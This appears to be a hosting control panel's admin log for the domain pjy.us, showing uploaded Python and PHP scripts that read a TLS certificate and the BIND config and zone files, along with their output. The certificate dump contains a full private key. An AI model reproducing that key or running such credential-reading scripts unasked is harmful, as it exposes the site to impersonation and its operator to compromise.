    SSLCertificateFile	/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt
    DocumentRoot	/var/www/pjy_www
    <Directory /var/www/pjy_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/www_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-03-04 18:58:06: 

PUT: /tmp/pkp249067

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-04 18:58:06: 

chmod 755 /tmp/pkp249067; /tmp/pkp249067; rm /tmp/pkp249067

2026-03-04 18:58:07: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt	5321
5f:c6:ed:f0:30:68:d2:60:40:4f:6d:f3:1a:ee:98:4e

-----BEGIN CERTIFICATE-----
MIIE6DCCA9CgAwIBAgISBSbtbNND6sLBWBxRVjuDf0uOMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMzA0MTc1OTM0WhcNMjYwNjAyMTc1OTMzWjARMQ8wDQYDVQQD
EwZwankudXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC47q+GXe0u
QFo77yC19HDBIx0KCE+hO6yHUlxrDBKpdTiH9A/oOzUJK98Oxqsi3HHAWJ6mYNLF
/4GPCnSge9NvJbOBm/eiwhJy9RiVhTljQg2jyV+WzCsKpv8Su4hSJuy/Q9DzS6p9
FSK9lFDUhZ2+OZq353KpGpVDdU7D4QMRAegW+myxe1WPoW+qZ92z+a5kYKf8tge1
dFdnQsbFJfGvBDwr0SXQeAqkBtdWimIWS0JrNsnjS0M5GuP/3Goqarc8JIvgHWPB
KglslND5WZ7UITPbfzH8xu/Ymj0PCOFptjEPeRQru/vr/qtNnCFJLDW56GEsD19s
lBiivi6aCmlXAgMBAAGjggIWMIICEjAOBgNVHQ8BAf8EBAMCBaAwEwYDVR0lBAww
CgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUzr6b3wwvtuaxfoHP
BO8Fq9/Q1YIwHwYDVR0jBBgwFoAUALUp8i2ObzHom0yteD763OkM0dIwMwYIKwYB
BQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEyLmkubGVuY3Iub3JnLzAb
BgNVHREEFDASgggqLnBqeS51c4IGcGp5LnVzMBMGA1UdIAQMMAowCAYGZ4EMAQIB
MC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvMTUuY3Js
MIIBBAYKKwYBBAHWeQIEAgSB9QSB8gDwAHYAyzj3FYl8hKFEX1vB3fvJbvKaWc1H
CmkFhbDLFMMUWOcAAAGcujbg/wAABAMARzBFAiEA01AfZUZUSLbS0USNNSMg2DUG
hh+xCVMdbR+FHRaPc9kCIF35EFAoMzn1gklTmN7I8bny4ajaradDCr8KzT2JFehl
AHYA0W6ppWgHfmY1oD83pd28A6U8QRIU1IgY9ekxsyPLlQQAAAGcujbhwgAABAMA
RzBFAiEAs6bwqj2iT+9D3olF7ZGPEifyb9NzWyRTlO57zLXS+S8CIC6INl8BPqKg
/EOozL6bnOPVcAzh93lg8Q8V/6xu1SuNMA0GCSqGSIb3DQEBCwUAA4IBAQDF0o87
ip5M+p2RctyWnmVnSGvhBsYpB+QvpE8K66PJG9hjDhECfDJ0TF8kSBRUfDu8E/fC
ZKlDaSHYiJ3iYgpI6KA0qsNYKPz0k60YNqHK9cA/xElouWGfgpTk5Vi6idGZ6rAQ
R0ppD4f4gfj4/GRbu1JKen9uZVPhrp/7z0R9AAT6bTdujiIzmnhuq2Sjwaj38rfp
NE72+lQI/3MPVJ0Nc5zNotBoJlyupX4/rahHPvZo0ngdtlj0aMYvbbhY4YmJNq5L
lDh2MUH2jQwOdtLBDKTq7w0gv4zokuK3PVzzV+GHgOnQC7u7XwyqvXUz+jhfCH8O
T/QYVXMsJsQ8a9YE
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC47q+GXe0uQFo7
7yC19HDBIx0KCE+hO6yHUlxrDBKpdTiH9A/oOzUJK98Oxqsi3HHAWJ6mYNLF/4GP
CnSge9NvJbOBm/eiwhJy9RiVhTljQg2jyV+WzCsKpv8Su4hSJuy/Q9DzS6p9FSK9
lFDUhZ2+OZq353KpGpVDdU7D4QMRAegW+myxe1WPoW+qZ92z+a5kYKf8tge1dFdn
QsbFJfGvBDwr0SXQeAqkBtdWimIWS0JrNsnjS0M5GuP/3Goqarc8JIvgHWPBKgls
lND5WZ7UITPbfzH8xu/Ymj0PCOFptjEPeRQru/vr/qtNnCFJLDW56GEsD19slBii
vi6aCmlXAgMBAAECggEABFxRyeVPwRYbX+u/kGAh2IFaH0ZwOj5h+b7jbFLDOI5f
CuBND7jLA1sEI3ZjyqqlXq0Nm0wP1u4IwWAJvU8DfqIbnXlurr53bjvWnI/2TnTc
RXnAxe7X2k8dwfSnaOh/ZJ3WFiaOmpceU+y6CzOAs1+Vr7McF7NcxFPGdlqelo6z
+chmeC8Cys8CfTN5LhdlFFOr3Nkb9Awoxdb379izHep90L4H8jO7JZAy0SaLLWOj
fwYJ4Cr5wmPcqVM1TX3jV/cpO9HDCtOvsc/RAuG3o/PJ+VVdRnLwvi8QKXY7KQ9g
Dnru/YdqQIrBhuD9CCAXpSzpw96FxTru0GGMLNslwQKBgQDvsW3iuoR/2p3zLnw8
JRTb5Ij1TnAD0UajOeEb2tCIzKCIZ61dr+7RohP2XtI01ABrDHFWilbTDNNLsh5k
As0TTO6OHp+KnHkCPfJX6RZ7DTZfeUw29AA7ZGcY8wm6WOvSmuZSNKd9nLbiDAlf
udEMzgiZT4kXdXoOCeoZ693QaQKBgQDFg4bBFoaTlVmiqVFIgVMtxNqJu12EQHzd
JpO75ggNcsyqLKQ4S6k/a2rA7/vuwtHfiyKDU7vLZB1X1Li6t/wJ5RPG7PNS+Lnj
JsOUOf+TC3wSC0gx1+0ND7tBns2Sh93XoczTjxa9C/dDkuHYkWDw1CXBGvxmtWJD
CPnCVe8zvwKBgQCClh7w7H8tjPSKvaOvvOAdYOgBBYfffI/Ic8shutfr/9fiGOIJ
7cTl7zCDBGvvniTQLYo+BMaC2zTuw47tG92Qi1RYl3SCNvdycj9rB7FYvv0FjPcp
5UuPEAdfP2HoZXOtXPjoholN1SiKBNbCkWDEYierJvrgjf8+UMZ68tb5KQKBgAa8
XI0bMo236y2j7pS1bFvEOdu2mxLWjCuSlDk1OBMVVit7iEIvOl9iT2qzBHl5BWVF
PnESGvZtvJ5xL7eWbK79s/X1wLqUpuo7OTJF5BRksN+AqP6iKYBnh/BN9R7JKWSg
LPcOCy15Sf5w9OjI1HCCG6OBQxhRmT9GABaDjbvLAoGAYMA8t10T1v9Q0axumGwq
9Lu08z2P3wO1O0Jt20RVh6CwF571BnAEZz1gk80AGg0UXgTDyIo8YxO8aHYS73aP
Wbvclw8YOHbsJFqk4nanrgLDGRNMAQXYv5sIQtO2vtu6dlexPjoRxxZHutyvsTqn
uugk9G5lv9gmlDnHFEPX9y0=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-03-04 18:58:19: Establishing a connection
2026-03-04 18:58:19: 

PUT: /tmp/pkp280916

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-04 18:58:19: 

runuser -l bind -s /bin/bash -c '/tmp/pkp280916; rm /tmp/pkp280916'

2026-03-04 18:58:19: 
2026-03-04 18:58:19: 

PUT: /tmp/pkp743980

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-04 18:58:19: 

chmod 755 /tmp/pkp743980; /tmp/pkp743980; rm /tmp/pkp743980

2026-03-04 18:58:19: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt	2154
; this is an automatically created file: manual changes will be overwritten.
$TTL    3600
pjy.us.                  		 IN    SOA      	pjy.us. hostmaster.pjy.us. ( 134530133 14400 3600 14400 3600 )
pjy.us.                  		 IN    NS       	ns1.hostz.org.
pjy.us.                  		 IN    NS       	ns2.hostz.org.
pjy.us.                   60	 IN    A        	94.177.8.99
@                        		 IN    MX       	10 mail.emessage.email.
@                        		 IN    TXT      	"google-site-verification=ZtHGz_iSYmEil9sMSPUDIl9d6IDFBLjzeNlYE2SfdQM"
_acme-challenge           60	 IN    TXT      	"MYZhN4zxqGn4U1GOxIFv8doVTsa7o1OxWR4Cwp6dovM"
_acme-challenge           60	 IN    TXT      	"h_63sRi7wLv3VpyJT5ADDvMkuAXXgEHcxDFo_37yAhs"
mail._domainkey           300	 IN    TXT      	"v=DKIM1; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA475QNvlpQCiGASeKJCw/3JWK/doJrCzE7FwPZQ+5uzZtbYa/xHmrd5HZKPgy9ohyeqvdcjYTMCtb+J9Hj+lG90gaO/OiIgMpkck6UvFEXoXQQzPTChI1Jm1JaDmbq9u3Qxatb9Wr/Zd88ytfn6tdNATtyvzZcQw2HFHooDxWlsRW+wXi3j5UL0yL4CeL" "CzmSUiO74QQUPqqjljsKvRvbZmsGhHm/NW5RYG/L2yYjWMlhnEAgaE+v4oMDQHnb06Lf2fuoGJ2C2EJtoY1ZaqhvjA2+4kT7BXO3NItVFe+EyKpPhYBcqtuCsYUDH6eScwOHBp0rjTggUg9IUFLEGFoLPwIDAQAB"
alive                    		 IN    CNAME    	home.stoughton.link.
city                      300	 IN    A        	10.140.12.86
_acme-challenge.city      60	 IN    TXT      	"UeRMkqu8_l2gRItyFHba1VXxbuTR3icuWFS2-fYdY3g"
desktop                  		 IN    A        	192.168.1.174
_acme-challenge.desktop   60	 IN    TXT      	"l9WeTDaGjg8OuobZhMGe8q_0Jb8jwvfMlSNambIH7bM"
dm                       		 IN    A        	46.102.156.201
eggshell                 		 IN    A        	94.177.8.99
y4it37yvzcuq.eggshell     60	 IN    CNAME    	gv-4p2uru6b7qnnw2.dv.googlehosted.com.
files                    		 IN    A        	74.208.130.81
home                     		 IN    CNAME    	home.stoughton.link.
_acme-challenge.home      60	 IN    TXT      	"bRrZQ9sTYYin--ZqX6Nzib8yi276mLv4bQdTqFNny2I"
mysql                    		 IN    CNAME    	home.stoughton.link.
pkp                      		 IN    A        	94.177.8.99
www.pjy.us.               60	 IN    CNAME    	@






MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
